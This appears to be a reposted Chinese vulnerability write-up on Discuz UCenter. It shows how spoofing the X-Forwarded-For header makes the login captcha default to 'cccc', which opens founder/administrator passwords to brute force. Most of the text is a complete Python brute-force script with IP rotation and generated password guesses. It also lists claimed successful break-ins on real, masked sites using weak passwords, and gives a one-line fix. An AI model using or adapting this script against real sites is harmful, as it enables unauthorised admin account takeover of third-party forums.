uc_pass.php,Discuz 的UCenter创始人密码可被爆破(有案例)

没看源码,直接黑盒测试的。非验证码识别。

so 附上利用代码+几个成功案例。

http://192.168.1.105/discuz/uc_server/admin.php

imgpxy.php?url=gnp.801455003201214102%2F2141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

含有一个验证码

验证码的地址为

http://localhost/discuz/uc_server/admin.php?m=seccode&seccodeauth=250dIGq%2FYDhocuXf3IrsBkvB2k23JXlXAbuWr3X1liUcX94&7500

但是

经过测试发现

登录uc_server的时候 如果ip第一次出现那么 seccode的默认值为cccc

而 ip地址 是通过X-Forwarded-For 获取的。

也就是我们修改xff的ip之后,再次打开上面那个验证码url,图片的值为cccc

imgpxy.php?url=gnp.578455003201214102%2F2141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

所以可以写一个程序通过修改X-Forwarded-For的值爆破密码。

程序写好了 如下。(代码渣,见谅。)拿创始人密码做案例,管理员密码应该也可以。

#coding:utf-8

import httplib,re,random,urllib,time

from sys import argv

# 进行爆破

def getHtml(host,htmlhash,htmlpass,htmlseccode):

ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))

postHead={"Host":host,"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0","X-Forwarded-For":ip,'Content-Type':'application/x-www-form-urlencoded','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Connection':'keep-alive'}

postContent='sid=&formhash='+htmlhash+'&seccodehidden='+htmlseccode+'&iframe=0&isfounder=1&password='+htmlpass+'&seccode=cccc&submit=%E7%99%BB+%E5%BD%95'

resultHtml=httplib.HTTPConnection(host, 80, False)

resultHtml.request('POST','/uc_server/admin.php?m=user&a=login',body=postContent,headers = postHead )

page=resultHtml.getresponse()

pageConect=page.read()

return pageConect

#获取 formhash 和 seccodehidden

def gethashs(host):

url='http://'+host+'/uc_server/admin.php'

pageContent=urllib.urlopen(url).read()

r1=re.compile('')

htmlhash=r1.findall(pageContent)[0]

r2=re.compile('')

htmlseccode=r2.findall(pageContent)[0]

return htmlhash+' '+htmlseccode

#通过argv获取 host 字典 间隔时间 进行爆破

if(len(argv)==1):

print '---->python '+argv[0]+' host地址 字典文件 间隔时间'

print '---->python '+argv[0]+' 192.168.1.105 pass.txt 0.2'

else:

host=argv[1]

passfile=argv[2]

sleeptime=argv[3]

print '网站host为 '+host

#取域名 然后添加一些密码

hostuser=host.split('.')

hostuser=hostuser[len(hostuser)-2]

hostpass=[hostuser+'123',hostuser+'888',hostuser+hostuser,hostuser+'..',hostuser+'.',hostuser+'admin888',hostuser+'admin123',hostuser+'admin',hostuser+'123456']

print '密码字典为 '+passfile

print '间隔时间为 '+sleeptime

print '--->'

x=gethashs(host).split(' ')

f=open(passfile,'r')

htmlpass=f.read().split('\r\n')

htmlpass=hostpass+htmlpass

f.close()

for i in range(len(htmlpass)):

time.sleep(float(sleeptime))

print '正在尝试密码'+htmlpass[i]

if(getHtml(host,x[0],htmlpass[i],x[1])==''):

print '密码为 '+htmlpass[i]

break

imgpxy.php?url=gnp.426865003201214102%2F2141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

python dz_blast.py 192.168.1.117 pass.txt 0

192.168.1.117 新建的一个虚拟机 里面搭建的dz

imgpxy.php?url=gnp.128975003201214102%2F2141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

附上几个成功案例

手头没有这种字典,就随便添加了几个密码测试了下,都是很常见的弱口令1.http://**.**.**/ admin123456_

2.http://**.**.**/ admin_

3.http://**.**.**/ 123456

imgpxy.php?url=gnp.135995003201214102%2F2141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

imgpxy.php?url=gnp.401495003201214102%2F2141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

imgpxy.php?url=gnp.954510103201214102%2F2141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

imgpxy.php?url=gnp.802620103201214102%2F2141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

解决方案:

加强验证

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值